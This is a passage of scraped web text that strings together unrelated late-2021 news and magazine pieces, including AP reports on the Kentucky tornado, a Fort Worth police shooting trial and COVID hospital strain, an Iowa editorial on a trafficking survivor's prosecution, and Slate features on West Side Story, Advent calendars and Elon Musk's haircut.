Ollie Borgmann was found by rescuers, she was awake. She died later at a hospital. Lovan reported from Louisville, Kentucky. Bynum reported from Savannah, Georgia. Associated Press writers Sudhin Thanawala in Atlanta; Travis Loller in Nashville, Tennessee; John Hanna in Topeka, Kansas; Terry Wallace in Dallas; Sophie Tareen in Chicago; Josh Funk in Omaha, Nebraska; Mike Schneider in Orlando, Florida; and Jeff Amy in Atlanta contributed to this report. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 FORT WORTH, Texas (AP) A Texas judge on Wednesday delayed the murder trial of a former police officer who is charged with fatally shooting a Black woman through a back window of her home in 2019. Aaron Dean's trial in the killing of 28-year-old Atatiana Jefferson in Fort Worth had been set for Jan. 10. Judge David Hagerman granted a defense motion to postpone it because two experts were unavailable to testify in January. Hagerman tentatively scheduled jury selection to begin on May 9 and opening statements on May 16. No further continuances will be granted in this case, Hagerman said. Any further pretrial motions, including a defense request to move the trial out of Tarrant County, are tentatively scheduled to be heard on May 2. The case has been repeatedly delayed since Dean shot Jefferson during a late-night wellness check at her mothers house. Many cases were delayed when the coronavirus pandemic caused courts across the country to postpone jury trials. Dean, 37, resigned from the city police force two days after shooting Jefferson. He was charged with murder and released on a $200,000 bond. Following the shooting, Fort Worth police released body camera footage that showed Dean walked around the side of the house, pushed through a gate into the fenced-off backyard and fired through a window a split-second after shouting at Jefferson to show her hands. Police went to the house after a neighbor called a non-emergency line to report that the front door was ajar. Dean, who is white, was not heard identifying himself as police on the video. The citys police chief at the time, Ed Kraus, said Dean acted without justification and that there was no sign he or the other officer who responded even knocked on the front door. Kraus said Dean would have been fired if he had not quit without giving a statement to investigators. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 MAYFIELD, Ky. (AP) An employee of the Kentucky candle factory where eight workers were killed by a tornado said Tuesday that a supervisor threatened her with written disciplinary action if she went home early because storms were approaching. Haley Conder, who worked at the Mayfield Consumer Products factory on and off for 10 years, also questioned why the company did not encourage workers to go home or at least give them a better understanding of the danger between a first tornado siren around 6 p.m. Friday and another one around 9 p.m., shortly before the tornado hit. They (the company) had from 6 oclock to 9 oclock to allow us to go home, to tell us really what was going on and that we needed to prepare ourselves for the worst, Conder told The Associated Press in a phone interview. It was nothing like that. Not one supervisor told us what was really going on. A spokesman for the company insisted that employees were free to leave anytime. Conder's comments came on the same day that the state's governor said Kentuckys workplace safety agency would look into the eight deaths, which happened as violent weather spawned tornadoes in five states. Gov. Andy Beshear told reporters that the Kentucky Division of Occupational Safety and Health Compliance would conduct a review. That kind of investigation is routine whenever workers are killed on the job. So it shouldnt suggest that there was any wrongdoing. But what it should give people confidence in, is that well get to the bottom of what happened, he said. Conder, 29, said her supervisor threatened to write her up if she left early, and that accumulated write-ups can lead to firing. More than 100 people were working on holiday candle orders when the twister leveled the facility. The scale of the damage initially stoked fears that scores of workers could be found dead in the rubble. The company later said many employees who survived left the site and went to homes with no phone service, adding to the confusion over who was missing. Since then, all workers have been accounted for, according to state and local officials who have spoken to the company. Louisville Emergency Management Director E.J. Meiman said late Monday that authorities now have a high level of confidence that nobody is left in this building. The factory supplies candles to retailers, including Bath & Body Works. It is the countys third-largest employer. Mayfield Consumer Products spokesman Bob Ferguson, who works for an outside communications firm, said the company welcomes a review by the state and will cooperate. Ferguson denied that employees were stuck at the plant or would face retribution if they left. Not true. That is absolutely not true. We followed our protocols exactly. Employees, if they decide they want to leave, theyre free to leave, he said. Due to a tight labor market, the company had relaxed some of its procedures so that employees were not required to give a reason if they had to leave work during a shift, Ferguson said. NBC News first reported that employees said they were threatened with discipline if they left early. Mayfield, home to 10,000 residents and the candle factory, suffered some of the worst damage in the country. The tornado outbreak that killed at least 88 people 74 of them in Kentucky cut a path of devastation from Arkansas, where a nursing home was destroyed, to Illinois, where an Amazon distribution center was heavily damaged. Six people died in the Illinois warehouse collapse, and the federal Occupational Safety and Health Administration has opened an investigation into what happened there. The tornadoes also killed four in Tennessee, two in Arkansas and two in Missouri. Hundreds of people gathered for a candlelight vigil Tuesday evening on the outskirts of Mayfield. Prayers went up that the brokenhearted will be wrapped up in Gods love and that people hold on to one another as the storm-stricken city begins its recovery. Scarlett Sears, an employee at the factory, said at the vigil she had not seen her co-workers since Friday. It's great for the ones that made it but heartbreaking for everything else, Mayfield, MCP, all of it, heartbreaking, she said. J.R. Ramsey, who has worked at the plant for 18 years, said he was still in shock. It's good to see the people that made it, he said. Conder said employees sheltered inside the building after the first siren, but were then told to go back to work about a half-hour later like it was a regular day. Some of us were just clueless, she added. Unless family called us and let us know ... we had no idea it was coming for us at all. Employees sheltered again after the 9 p.m. tornado siren. Conder was in a bathroom when the storm hit. I look up and the ceiling is just giving way, like its the ocean just coming toward me, she said, adding she was trapped in rubble for about an hour. Mark Saxton was working as a forklift operator. After the first storm siren, he said employees were told to go back to work. I feel like production was a priority over letting everybody go home, Saxton said Tuesday in a phone interview. He said he wasn't threatened with any disciplinary action. When the second storm siren sounded, he said he took refuge along with the other workers. It wasnt long before he heard a big boom and everything shook. He said he dropped to the ground, got in a fetal position and thats when everything started falling the walls and everything. He was trapped by a slab of a concrete wall but was able to extricate himself. Associated Press writers Dylan Lovan and Rebecca Reynolds in Louisville, Kentucky, and photographer Gerald Herbert in Mayfield contributed to this report. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Nebraska Gov. Pete Ricketts and Iowa Gov. Kim Reynolds have joined three other governors in asking the Department of Defense to withdraw its COVID-19 vaccine mandate for National Guard members who have not been called up for federal service. The letter, addressed Tuesday to Defense Secretary Lloyd Austin III, asked Austin to withdraw the mandate for Guard soldiers and airmen in Title 32, or state active duty status. At the direction of President Joe Biden, Austin ordered all service branches Aug. 24 to set deadlines for all service members to receive the COVID-19 vaccinations. The deadlines have passed for active duty members of the Navy, Marine Corps, Air Force and Space Force, as well as Air National Guard and reserves. Wednesday is the deadline for active duty Army soldiers. Army National Guard troops have until June 22, 2022. The active-duty branches have all achieved vaccination rates of 95% or higher, and only a small percentage have refused the vaccine. The number of vaccinated National Guard members, though, has lagged. Neither the Iowa or Nebraska National Guard was able to immediately provide vaccination rates for their forces Tuesday evening. In their letter, the governors cited a 1990 Supreme Court case, Perpich v. Department of Defense, which states National Guard forces are under the command and control of their respective states governor unless they have been called to federal duty under Title 10 such as for an overseas deployment, or for domestic assignments like the call-ups that followed the Jan. 6 attack on the U.S. Capitol. We acknowledge your right to establish readiness standards for the National Guard for activation into a Title 10 [federal] status, the governors wrote. However, directives dictating whether training in a Title 32 status can occur, setting punishment requirements for refusing to be COVID-19 vaccinated, and requiring separation from each state National Guard if unvaccinated are beyond your constitutional and statutory authority. Though he has repeatedly encouraged Nebraskans to get the COVID-19 vaccine, Ricketts has adamantly opposed mandates, especially vaccine mandates imposed by the federal government. He has described various federal COVID-19 vaccine requirements as an "abuse of ... power," "draconian" and "illegal." The joint letter to Austin was less spirited than previous statements by some of its signees. The other governors signing the letter were Mark Gordon of Wyoming, Mike Dunleavy of Alaska and Tate Reeves of Mississippi. All five of the signees are Republicans. Last month, Austin refused a request from Oklahoma Gov. Kevin Stitt to exempt members of his states National Guard from the vaccine requirement. Stitt said he would not enforce the vaccine mandate, and he fired a four-star commander of the Oklahoma National Guard who supported the mandate. In a written response to Stitt, Austin asserted his authority over all military personnel, regardless of duty status, under Title 32 of the U.S. Code. Austin said his decision on the vaccine mandate took into account the thousands of hospitalizations and the hundreds of deaths, among service members, civilians and their families due to COVID. COVID-19 takes our service members out of the fight, temporarily or permanently, and jeopardizes our ability to meet mission requirements, Austin said in his letter. To maintain a healthy and ready military force capable of protecting the American people, the immediate vaccination against COVID-19 is an essential military readiness requirement for all components and units of the military, including the Oklahoma National Guard. In a separate memo, Austin also ordered that as of Dec. 6, no service members including National Guard members under state command would be paid with federal funds or receive credit for time missed because they havent received the shot. He also said they are risking their careers. "As I've said before, vaccination of the force will save lives and is essential to our readiness," he wrote. DES MOINES, Iowa (AP) An Iowa Republican has overwhelmingly won a state Senate seat in a northwest Iowa special election. Spirit Lake insurance agent Dave Rowley won the special election Tuesday to fill the Senate District 1 set vacated by Zach Whiting, a Republican who is leaving Iowa for a job in Texas. Turnout was extremely low. Data from the Iowa Secretary of State shows just 3,559 of the 45,456 registered voters in the five counties of the district cast ballots, for a voter turnout of 7.8%. Rowley won with 2,690 votes, or nearly 76%. Democrat Mark Lemke had 864 votes, or 24%. Rowley will be sworn in on Jan. 10, the first day of the 2022 legislative session. Republican continue to hold a significant majority with 32 Senate seats to Democrats' 18. In the House, the GOP margin is 60 Republican seats and 40 Democratic seats. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 BARTLETT, Neb. (AP) A house fire that killed an 81-year-old man in Bartlett last week was accidental, according to the Wheeler County attorney. Firefighters found the home engulfed in flames when they arrived on Dec. 9. After extinguishing the fire, they found Kenneth Lidgett dead, the county attorney's office said in a news release Monday. An autopsy was ordered and results are pending. The blaze started when a woodstove caught nearby combustibles on fire, according to the news release. Bartlett is about 73 miles (117.48 kilometers) north of Grand Island. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 OMAHA, Neb. (AP) A federal jury on Wednesday found a northeastern Nebraska man guilty of voluntary manslaughter and obstruction of justice in the killing of his fiance last year on the Winnebago Indian Reservation. Jonathan Rooney, 27, faces as many as 20 years in prison on the obstruction of justice by destruction of evidence charge and 15 years for voluntary manslaughter in the death of 22-year-old Kozee Decorah, the Sioux City Journal reported. Rooney had been charged with second-degree murder, but the jury instead found him guilty of the lesser sentence of voluntary manslaughter, sparing him from the possibility of life in prison. Part of the reason manslaughter was so upsetting is it put some of the blame for Kozees death on her, Stacey Schinko, one of Decorahs relatives, told the newspaper. It was really a slap in the face today that (jurors) couldnt see it the way we see it. Officers responding to a call for help from Decorah in May 2020 found her burning remains in a fire outside a reservation cabin. Decorah had told officers that she, Rooney and their infant son had become stuck on a muddy road. Rooney was found sleeping in the cabin with the couples 4-month-old son. Rooney told investigators that he and Decorah had argued and she had hit him with something before he pushed her out of the cabin, locked the door and fell asleep. He didnt wake up, he said, until officers entered the cabin and roused him. Rooney's sentencing is scheduled for March 11 in U.S. District Court in Omaha. For copyright information, check with the distributor of this item, Sioux City Journal. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 SIOUX FALLS, S.D. (AP) South Dakota's largest hospital systems on Wednesday warned they are strained and pushing off medical care as the state's hospitals fill with the highest number of people infected with COVID-19 since the beginning of this year. We continue to have concerns that as our hospitals fill with COVID-19 patients, we will not be able to provide prompt, quality care to our patients who are coming in with other medical needs, said Dr. Mike Wilde, the head medical officer at Sanford Health. Officials with Sanford, Avera Medical Group and the city of Sioux Falls spoke at a news conference Wednesday to urge people to get vaccinated and take precautions against spreading the virus during holiday gatherings. The state is seeing its worse surge of the virus since last winter, when hundreds of people died. Were just back up, climbing, climbing, climbing, said Dr. David Basel, the vice president of clinical quality at Avera. One in every 351 people in the state tested positive for the virus in the past week, according to Johns Hopkins researchers. Health officials reported eight new deaths Wednesday. While hospitals saw a small drop to 271 patients with COVID-19, the number of hospitalizations on Tuesday was the highest in nearly a year. Basel described how his wife, who works as a physician in an intensive care unit, has seen more death and suffering in this last year than shes seen in the 20 years of her career prior to that. Avera is deferring medical procedures that are not urgent until the spring, Basel said. We just don't have the beds, he added. While Sanford has not canceled medical procedures, Wilde said the situation is changing day-to-day. The officials urged people to get vaccinated, including booster shots, as well as wear masks in crowded, indoor places. Think about what we can do to save lives, said Dr. Charles Chima, the public health director for Sioux Falls, what can we do to stay safe this holiday. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Iowa is a place where drivers who come across an unlawful protest have some protection from liability for what happens if they drive into a crowd. Its a place where people dont have to retreat before legally using deadly force if they reasonably believe its necessary because someones safety is at risk (they dont have to be correct). But those protections for people who are afraid apparently do not extend to survivors of repeated abuse who resort to violence, including children being used for sex. Lawmakers and other authorities have the power and discretion to ensure people are treated fairly and compassionately after such tragedies. That should be one of the lessons drawn from an investigation by the Registers Philip Joens into the prosecution of Pieper Lewis, who was 15 last year when she stabbed a Des Moines man 30 times. Her lawyers say that man had raped her multiple times after she was kicked out of her home and taken in by another man who coerced her into intercourse with men. She killed Zachary Brooks after he raped her and then fell asleep, she said. Police never looked into whether trafficking had occurred, the lawyers contend. Lewis has pleaded guilty to involuntary manslaughter and willful injury and remains in the custody of the juvenile justice system. Next summer, just before her 18th birthday, she will learn whether shell be sentenced to up to 20 years in prison as an adult. The Register typically does not identify sexual assault survivors or youthful offenders, but Lewis agreed to be named in Joens article. As with many violent deaths, the circumstances here are complicated. Nobody deserves a death of retribution, whether at the hands of the government or anyone else. And nobody would argue that law enforcement, prosecutors or judges have an easy job in establishing culpability when they must untangle evidence of abuse on one hand and a horrific stabbing on the other. But easy or not, it is their job, and experience suggests that Iowa law and authorities habits could be changed for the better. Some elements of Lewis case are reminiscent of a 2017 Des Moines killing. Sera Alexander, then 29, was at home when her stepfather startled her; she shot and killed him. Alexander mistakenly believed her stepfather, a serial domestic abuser, was violating a no-contact order (in fact, it had just been lifted). Her lawyers argued the killing was justified as self-defense based on a history of abuse. But Alexander was charged with first-degree murder for nearly six months before eventually pleading guilty to involuntary manslaughter and reckless use of a firearm. She spent two years in prison before being released on parole last year. According to online court records, she has paid $2,460.90 out of a required $150,000 in restitution to her stepfathers estate. Lewis will almost certainly be saddled with the same mandatory debt. Shared Hope International, a nonprofit that focuses on the trafficking of youths and children, released reports last month that placed Iowa in the middle of the pack among states for the strength of its laws to combat trafficking. Only 11 states received passing grades, none better than a C. The nonprofit gives detailed prescriptions for revisions that would better provide safety and services for victims instead of doing nothing or, worse, charging them with prostitution. Its report is important reading for all of Iowas policymakers. In the immediate term, lawmakers could make several changes quickly in 2022: Amend Iowa Code Chapter 710A to provide trafficking survivors with an affirmative defense to violent felonies committed as a result of their trafficking victimization, as Shared Hope phrases it. Currently in Iowa, such a defense is available only when victims can prove they were being threatened with serious and imminent injury. Give discretion to judges concerning restitution in homicide cases. For a teenager like Lewis, a $150,000 obligation of any kind could crush her ability to recover after her incarceration, without even addressing the emotional burden of having her earnings seized in the name of a man who harmed her. Provide a standing appropriation to the Iowa Office to Combat Human Trafficking; it received one-time money this past spring. Prosecutors, sheriffs and police chiefs should also take it upon themselves to engage with experts and defense attorneys to learn more about trafficking and better train their deputies on recognizing it, detaining the perpetrators and providing appropriate support to survivors. Only 34 people have been charged under Iowas human trafficking law since 2010. Lawmakers can seek out the same conversations so they can remove obstacles and provide appropriate nudges. Lewis was failed on many fronts. No safety net caught her as a troubled runaway without food or a safe place to live. Teenagers shouldnt end up in situations where they have to decide between suffering repeated abuse and fighting back violently. But when it does, at the very least, Iowas criminal justice apparatus must consider the context of that abuse at every step before it incarcerates a child. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 When Steven Spielberg first approached Tony Kushner about making a new film of West Side Story, Kushner was wary of the project. I thought it was kind of crazy, the playwright, screenwriter, and frequent Spielberg collaborator told me. It just seemed like a surefire way to make something that was going to fail. But soon, Kushner found himself casually reading bits and pieces of 1957 history. He became fascinated with the slum clearance projects of the late 1950s and the destruction of Lincoln Square to make way for Lincoln Center. He began thinking about the lives of street kids and Puerto Rican immigrants. Soon, it got exciting to me. Advertisement The original West Side Story was indifferently researched and focused far more on the mechanics of its plot than on the real world in which it was set. For much of the rest of his career, lyricist Stephen Sondheim would criticize the show for not containing any real characters and for leaning too hard on melodrama. Although Kushner disagreed with Sondheims assessmentthe two men argued about it while the former was writing the new screenplayhis revision of the show stacks sociopolitical context, historical research, and character detail so densely that each moment resonates on multiple levels at once. That the musical is also fleet on its feet, and only five minutes longer than the original, feels nothing short of miraculous. Advertisement Advertisement Advertisement Advertisement [Read: Spielbergs West Side Story Proves the Controversial Musical Shouldnt Be Retired] Of all the updates, though, perhaps the most fascinating is the new films treatment of the minor character of Anybodys, and the ways in which the revision of the role knits together so many of the themes of Kushners screenplay. If you are not a serious West Side Story fan, or if you know the musical primarily through its songs, you could be forgiven for not even knowing who Anybodys is. The role is a small one, a tomboy in the original who yearns to be one of the Jets but is shut out on account of being a girl. Anybodys may very well be the oddest of the many choices the original creative team of director-choreographer Jerome Robbins, composer Leonard Bernstein, playwright Arthur Laurents, and lyricist Stephen Sondheim made while adapting Romeo and Juliet into a story of interracial romance and gangland strife. She is the only character with no antecedent in the source material. She doesnt have a song. Her girlness is constantly underlined even as she tries to be one of the boys. When she first asks to join the Jets, Riff tells her, The road, little lady, the road, while shoving her offstage. When Doc kicks the Jets out of his shop, he announces, Curfew, gentlemen. And lady. Its only at the very end of the musical, when she warns the Jets that Chino is looking to kill Tony in revenge for the murder of Bernardo, that she finally gains acceptance, with Action telling her, You done good, buddy boy. In response to this acceptancean acceptance that explicitly frames her as one of the guysAnybodys falls immediately in love with Action. She becomes so much one of the boys that she participates in the harassment and attempted rape of Marias friend Anita, who has come to warn Tony and help him escape Chino. At the end of the musical, Anybodys is again exiled to girlhood by Tony in order to protect her from the oncoming violence, telling her, Youre a girlbe a girl! Beat it. Advertisement Advertisement Advertisement Advertisement I have lesbian friends who have identified Anybodys as a lesbian, and trans friends who said that Anybodys is the first trans character in American musicals. Tony Kushner So how did this minor character come to be? And why use her as a vehicle for the musicals exploration of gender? Theres been much speculation over the years about the origins of Anybodys. In interviews, Laurents and Sondheim claimed not to remember where she came from. One historian speculated that she may have been based on Cheryl Crawford, who was briefly attached to produce the musical, and who was a butch lesbian. According to Kushner, the role is only in the show because the original creative team needed a part for one of Jerome Robbins friends. She was a dancer, and had been a dance captain at times for Robbins, and was just a good friend of his. Shed done a number of things on the Broadway stage, and he wanted a part for her. So I believe Arthur Laurents came up with the idea of this tomboy character because there wasnt really anything else for her to do. The resulting character reflects this dilemma: Just as there was originally no place for Robbins friend in the show, theres no part for the tomboy within the rigidly policed gender binaries of the late 1950s. But because of this linkage, something richerand strangerwas unlocked, something that gives the original material a thematic sophistication it might have otherwise lacked. As Kushner describes it, You have these four gay men writing about the Jets, this vat of toxic masculinity, and their idea of what presumably heterosexual street toughs sounded like. And it was the 50s, when gender had this explosive charge attached to it. I mean, there was this terrible anxiety about homosexuality, about gender, about maleness, about dominating mothers and fathers who wear aprons. Advertisement Advertisement Advertisement Advertisement In this milieu, a Cold War culture dedicated to conformity and shot through with Freudian panic about emasculation, audiences could glimpse Anybodys, a character who refuses to conform, and refuses the ironclad terms of gender, in rather bold ways. I have lesbian friends who have identified Anybodys as a lesbian, and trans friends who said that Anybodys is the first trans character in American musicals, Kushner said. I had heard that before Steven asked me about writing West Side Story, but as soon as I started working on it, I thought, Well, thats probably what we should do with this, because thats interesting. And so I said, Id like to really treat Anybodys as a trans character, not as a tomboy. And Steven said, Thats a great idea. Lets do that. Advertisement Advertisement Doing that, of course, is easier said than done. Navigating between the Scylla of tokenism and the Charybdis of presentism is no mean feat. In order to avoid both, Anybodys would need to feel not only authentically trans but authentically a character from 1957. Kushner turned to research to figure it out, reading books about sexuality in the 1950s and street gangs, and crafting an elaborate backstory for Anybodys that goes far more in depth than what we eventually see on the screen. To Kushner, the Jets were these people whose parents were probably drug addicts, or criminals, or just abandoned them. And Anybodys wouldve had a life like that, except he was born with a strong sense of his biologically assigned gender being wrong. And this is somebody who couldnt live pretending. It was one of the reasons that Anybodys wound up basically orphaned on the street, trying to find various places where a trans kid could fit in, in homeless shelters, and wanting to attach himself to the Jets, partially out of a sense of survival, and also out of a sense of wanting to be accepted as the gender he views himself to be. Advertisement Advertisement For actor iris menas, who is transmasculine nonbinary and portrays Anybodys in the film, the detailed backstory helped flesh out the character beyond the actors own life experience. Obviously I wasnt alive in 1957. What do I know? menas (who prefers lowercase) said. It was very helpful to just know what kind of home Anybodys came from, where they would be working, probably down at the docks, doing manual labor. It all gave a very real body to this person and with all the historical research that Tony and Steven brought in. Menas found a real connection to the character in a line Kushner added to the screenplay: Anybodys explicit declaration that he is not a girl. Advertisement Advertisement Actually believing Anybodys was the biggest piece of this puzzle, menas said. I was like, this is dropped right in. Trans people were obviously so integral to the 1950s fabric of New York City, and to just zero in and believe Anybodys gave depth and nuance to this character that I dont know if weve seen before. Advertisement [Read: How Stephen Sondheim Solved the Puzzle of Being Alive] The backstory and research also had another effect: relieving menas from having to do all the work of teaching the creative team about menas own identity. A lot of times trans people come in and a lot of that labor is on us to do in the room, menas said. A lot of education, a lot of emotional labor of reliving our traumas and telling our stories live, when were just there to work, and build the character. So I appreciated that, and then I was just able to come in and add myself. For Kushner, menas willingness to add hirself to the part was essential. Iris is a really brilliant person, he said. Really open and available. And also unafraid to say, I dont know that I would do that, but never in a knee-jerk way. Some actors just live to be contrarian, but you can tell that this is an actor who is engaged on a very, very deep level from the get-go, and just takes the work very seriously. Advertisement Advertisement Advertisement One issue that also had to be worked out is the characters pronouns. According to menas, I think if Anybodys was given a life beyond this two-and-a-half-hour film, we would maybe see Anybodys explore other identities, nonbinary identities. But in 1957, that kind of articulation of ones identity didnt exist. Theres certain gender roles you have to adhere to, menas said. So we went with he/him pronouns and what I would categorize as a transmasculine person, mostly presenting more masculine, short haircut, desire for the cut jaw, rough-and-tumble, taking on those qualities that we were so steeped in at that time. Advertisement I think whats so profound is this solidarity with Anita. iris menas In the film itself, the marriage of menas lived experience with the elaborate period research and detail creates an incredibly rich character, despite the part being only a little bit larger than the original role. Menas work as Anybodys is quite deep and complex, revealing to the audience the characters defiant bravery and the immense cost that he bears for trying to live authentically as himself in a world that has no place for him. Spielberg has added in numerous moments where the audience simply watches Anybodys exist in heteronormative spacesa street fight, a gym dance, a soda shopwhile trying to find his way through the world. Much of the story of the film is witnessed by Anybodys as he navigates these spaces, and in his outsider role, he becomes a kind of audience surrogate. After all, like Anybodys, we are outside the Jets, looking in. Like Anybodys, we see both the seductive qualities of the Jets and the menace that is lurking, always waiting to burst out. In one new scene, Anybodys even gets to be the one to dish out some of that violence himself, beating up one of the Jets who calls him a dickless wonder and punching a police officer who tries to intervene in the fight. Advertisement Advertisement Anybodys does find a kind of acceptance in the film, just as he does in the original musical. One of the Jets still says, You done good, buddy boy. But now, with an explicitly trans character hearing it, a character who has already declared, I am not a girl, the line has new meaning. In one of the films most complex moments, it is also offered to Anybodys at the exact moment that membership in the Jets has curdled, perhaps for good. In the original, youre supposed to feel great for her at that moment, Kushner said, but at that point, theyre really clearly not the Jets that we met at the beginning. I wanted to make it clear that Anybodys was getting something that he was really desperately wanting, at a moment when it suddenly didnt seem like something that he was sure that he wanted to have anything to do with. Advertisement Advertisement The film accomplishes this by having Anita arrive immediately after and having Anybodys warn her to leave rather than participate in the Jets humiliation of her. I think whats so profound is this solidarity with Anita, menas said. Because of Anybodys lived experience of folks projecting a gender identity onto them that is very misogynistic, Anybodys relates to Anita in that moment. I think its this beautiful moment of saying, Ive been accepted, but do I really want to align myself with these actions that these boys are currently finding themselves in? No. Advertisement Advertisement I remember the first time I saw West Side Story, on VHS at my grandparents house. I knew how it would end, and yet I was unprepared for the bleakness of it, for how I would feel carved out by it, a bit hollower than before. Spielberg pushes this darkness even further, by ending it with Chinos arrest instead of the symbolic reconciliation of the Jets and Sharks. But if there is a glimmer of hope in the film, it belongs to and is nurtured by Anybodys, a character who is allowed to chart a different path, to ultimately reject the most toxic aspects of masculinity, and survive. Chanel recently got its ass handed to itselffor the purposes of this sentence, please go along with the premise that French luxury brands have assesafter complaints about the lackluster contents of its $825 Advent calendar started gaining traction online. People who purchased the calendar were less than thrilled that some of its promised treasures turned out to be things like Chanel stickers. And Chanel magnetic bookmarks. Those who bought the pricey calendar were rightly upset about the raw dealI mean, if I spend $825 on an Advent calendar, I better die. But people who didnt shell out the money were also up in arms, I suspect, because Chanel violated the sacred covenant of the Advent calendar. These things seem to be one of the few traditions out there that people unreservedly enjoy, and for Chanel to mess with that? Cest nimporte quoi! Advertisement Advertisement Advertisement Advertisement Advent calendars: Have you noticed that people seem really into them lately? As my colleague Madison Malone Kircher recently explained, theyre kind of everywhere now. If youre unfamiliar with the concept, theyre a product meant to be displayed in your home as a way to count down the days from the start of this month until Christmas, and for each day theres a different surprise for you to discover. In recent years, theyve transformed from quaint delivery systems for parts of the Christmas story or pieces of chocolate into a retail trend that can be applied to virtually every category of gift: Beyond beauty, there are wine Advent calendars, Advent calendars of cherished and exclusive marshmallows, even Advent calendars of treats for your dog. So devoted are fans of the Bonne Maman Advent calendar of jams that some publications treat its annual release like a news event. Advertisement Advertisement Well, as a person who doesnt celebrate Christmas, I cant help but notice that these calendars are evidence that Christians have taken a shine to the concept of gift-giving spread over multiple nightsgee, wonder where they got that idea! But not being concerned with what little jam or potentially disappointing beauty product Im going to open today and post on my Instagram Story, I am also able to look at Advent calendars through the shrewd, unsentimental eyes of a businesswoman. Advertisement Which brings me to the following: Sharks, I have a really exciting business idea. OK, so you know how people love Advent calendars? (I just wrote several paragraphs about it, so hopefully you do.) What if we had them for the entire year? Picture it: a calendar that contains 365 little presents. Everything you love about Advent calendars, times 12. More fussy little things of jam than youll know what to do with. A beautiful vision, no? Are your eyes not welling up with tears? Advertisement Advertisement Advertisement I understand why, in the past, it may have seemed prudent to limit Advent calendars to December: to preserve a little of their specialness, Christmas comes but once a year, etc. The rest of the year was the Purge, and then in December we got rewarded for surviving, with 25 small gifts. But as we stare down the barrel of 2022 and the two-year anniversary of the pandemic, I think we can all agree that desperate times call for desperate measures. The Advent calendar being one of the few remaining sources of joy on this Earth, its time to unshackle ourselves from silly societal mores that dictate that we should only get these daily treats one measly month a year. Advertisement Advertisement Advertisement Advertisement I know, I know, youre thinking: We cant do that! What about religion and holiness and stuff! But I am here to tell you that we can do it. We can do whatever we wantwere adults. If we want a little present every day and were willing to pay money for it to be packaged in an attractive way, theres no reason why we cant make that happen. It would be like the subscription box trend, which many companies were all too happy to jump on, but cuter, and every day. How to actually design an all-year Advent calendar that isnt bigger than a piece of furniture I will leave to more experienced Advent calendar engineers than I. (Unless? Could we make combination furnitureAdvent calendars that contained 365 pieces of candy hidden in them? Something else to consider?) In any event, I am confident it can be done. I believe in the power of human ingenuity. Not, like, in general, but for this specific thing. And a little piece of advice for Chanel should it decide to go this route: Consider charging a bit less than whatever $825 times 12 is. Every week, Dear Prudence answers additional questions from readers, just for Slate Plus members. Q. Everything to lose and nothing to Rogaine: My spouse (she/her) and I (he/him) are tangled up in our 21-year-old daughters hair. Shes a college senior, and generally doing well, except for one knotty issue: Shes headed to the stylist for a severe haircut for a college theater rolethink Captain Picard in Star Trek. One parent feels youth is a good time for experimentation; people, including women, can sport shaved heads if they like; and hair grows back. The other parent is certain that shearing her lovely locks is a serious mistake our daughter will deeply regret. (Shell be looking for a social services job soonwhat, this parent wonders, will interviewers say about a candidate whose scalp is reminiscent of Sir Ben Kingsley?) Please dont brush us offhelp us get to the root of our problem. In all seriousness, one of us is losing sleep over the situation. A: Okay, Im not brushing you (or your spouse, whichever of you is worried) off. But if you are losing sleep over a 21-year-olds haircut, that tells me you have a lot of bandwidth available for worrying and are likely not having to deal with concerns about things like your daughters mental or physical health, her drug use, her abusive relationship, her eating disorder, or her dropping out of school. Give yourself a pat on the back as parents. Your kid is fine. With a combination of luck and good parenting, you helped her make all the way to adulthood and through college free from any huge crisis, and your biggest concern is about something that, even if it proves to be a terrible idea, will be fixed (or at least a pixie cut) in six months. You should go out to dinner to celebrate! Its 2021 and I sincerely believe a significant percentage of employers (and definitely the employer that is right for her) wont care about her hairstyle. You asked for the root of the problem: The difficult transition that is letting a young adult offspring grow up and make their own choices. You and your spouse want to protect them from pain and struggle, and thats okay. But you need to trust that youve done your job and she can make her own choices now. Classic Prudie Ive been with my wonderful wife for over seven years. Shes always had a bit of facial hair on her upper lip (think a little peach fuzz but a bit darker). This never bothered me, and honestly I didnt even notice it usually. Recently though it has gotten darker/fuller. At best it distracts me and other times it becomes somewhat of a turnoff. Im not sure why this has changed (change in medications, natural process, etc.), but Im torn if I should say anything. Any suggestions on supportive/diplomatic ways to bring this up, or should I focus more on working on looking past it? In absolute terms, Elon Musks new haircut isnt that dramatic: maybe a centimeter off the sides, little extra growth on top. Barely a blip in the grand scheme of male hair design. But when the richest person on Earth changes his look in any way, it makes waves. Specifically, the neatly coiffed waves now visible atop Musks forehead. Musk debuted his new look for paparazzi at the airport when he traveled to Art Basel Miami Beach last week. Its super short on the sidesalmost down to his skinwith a blunt-cut mop on top. The longer section extends down the back of his head, tapering off an inch or two above his hairline, leading the Daily Mail to call the do a quirky Mohawk. Advertisement Advertisement Advertisement Advertisement Thats not quite what it is, but I dont blame the Daily Mails writers for falling short here. (And I certainly dont blame the site for its impressive compendium of photographs, which provide views of every conceivable angle of Musks head.) Musk has opted for a nontraditional amalgam of styles that evades pithy descriptors. Is it because hes in a class of human beings so elite that the classic catalogue of hairstyle options no longer applies? Or is it because, as Musk claimed in a tweet, he cut his hair himself and didnt have the wherewithal to attempt a proper fade? Either way, the result has got onlookers comparing Musks new look to those of various dictators and fascists (Kim Jong-un, Adolf Hitler, Richard Spencer) and other unsavory analogues (Macklemore). Wrong again, people! Those cuts share a tidy military vibe, with an even shave all the way around the head and lengthier hairs gelled in place. Musks is different: He sidesteps the fasch-y connotation with a more tousled top and that mysterious elongated backpiece. Its a subtle discrepancy, but an important one. It must be a consequence of the defunding of arts in our schools that the masses can no longer decipher between high-contrast male haircuts. Advertisement Advertisement Advertisement Back to the back of 